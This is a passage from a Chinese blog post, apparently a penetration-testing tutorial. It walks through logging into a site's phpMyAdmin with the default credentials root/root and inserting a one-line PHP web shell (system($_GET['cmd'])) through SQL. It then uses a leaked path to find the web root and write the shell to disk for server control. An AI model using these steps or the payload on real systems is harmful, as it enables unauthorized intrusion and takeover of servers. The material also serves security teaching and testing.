ok,确实存在phpmyadmin。继续google “phpmyadmin 默认用户名密码”。Googele之后,我们知道:“phpMyAdmin默认使用的是MySQL的帐户和密码”。MySql的默认账户是root,默认密码是空,但是phpmyadmin是不允许空密码的。继续 Google“inurl: phpmyadmin”,可以看到很多关于phpmyadmin的文章。

这些文章略过,google“hack phpmyadmin”,看看有什么发现?

在这篇文章《Hacking PHPMyadmin (when import.php deleted)》

(https://www.facebook.com/learnadvhacking/posts/556247631077238)中注意到

很多站点都配置默认密码为 root。是不是也可以尝试下呢?输入用户名root,密码root,奇迹就这么出现了,直接登录管理后台。

进入后台之后,我们得到了更为详尽的信息,为我们下一步攻击打下了基础

攻击与权限维持

上面的步骤,完成了对网站数据库的攻击,其实拿到了网站数据库,就是拿到了整个网站的控制权。如何利用 phpmyadmin 进行提权,从而得到服务器的控制权呢?

目前在 phpmyadmin 后台,我们可以操作表,向表中写数据,如果数据库有权限dump数据到web站点所在的文件夹,那么可以先将一个网马写到数据库再保存到磁盘本地,再从浏览器访问网马,是不是就可以了呢?
首先在phpmyadmin后台找到一个数据库,在“SQL”选项卡执行sql语句创建一个表“hacker”。

语句执行成功后,再插入一条数据,代码很简单,希望能用php的system函数执行系统指令。

INSERT INTO hacker (packet)

VALUES(
'<pre><body bgcolor=silver><? @system($_GET["cmd"]); ?></body></pre>'  
);

下一步就是保存插入的记录到站点目录下,但是站点的物理路径是什么呢?我在观察页面请求链接的时候,发现一个404链接。

404链接的路径是http://www.xxxxx.cn/var/www/productions/22_production.zip。这个是进行网站开发时候常犯的静态链接的错误,那是不是说网站的根目录在”/var/www”下呢,我把去掉”/var/www”,文件可以被正常访问。其实这也是ubuntu默认的站点目录。接下来就试试有没有权限保存文件了。

经过一番查找,终于找到一个有写权限的目录,将网马写到web目录中,得到了webshell,接下来就不用详解了吧。

小结:这个简单的小例子,只是想告诉大家,渗透测试有什么并没有那么困难。也没有哪种方法,哪个工具或者平台是万能的,最重要的是你自己的努力和思考。

  • 3
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值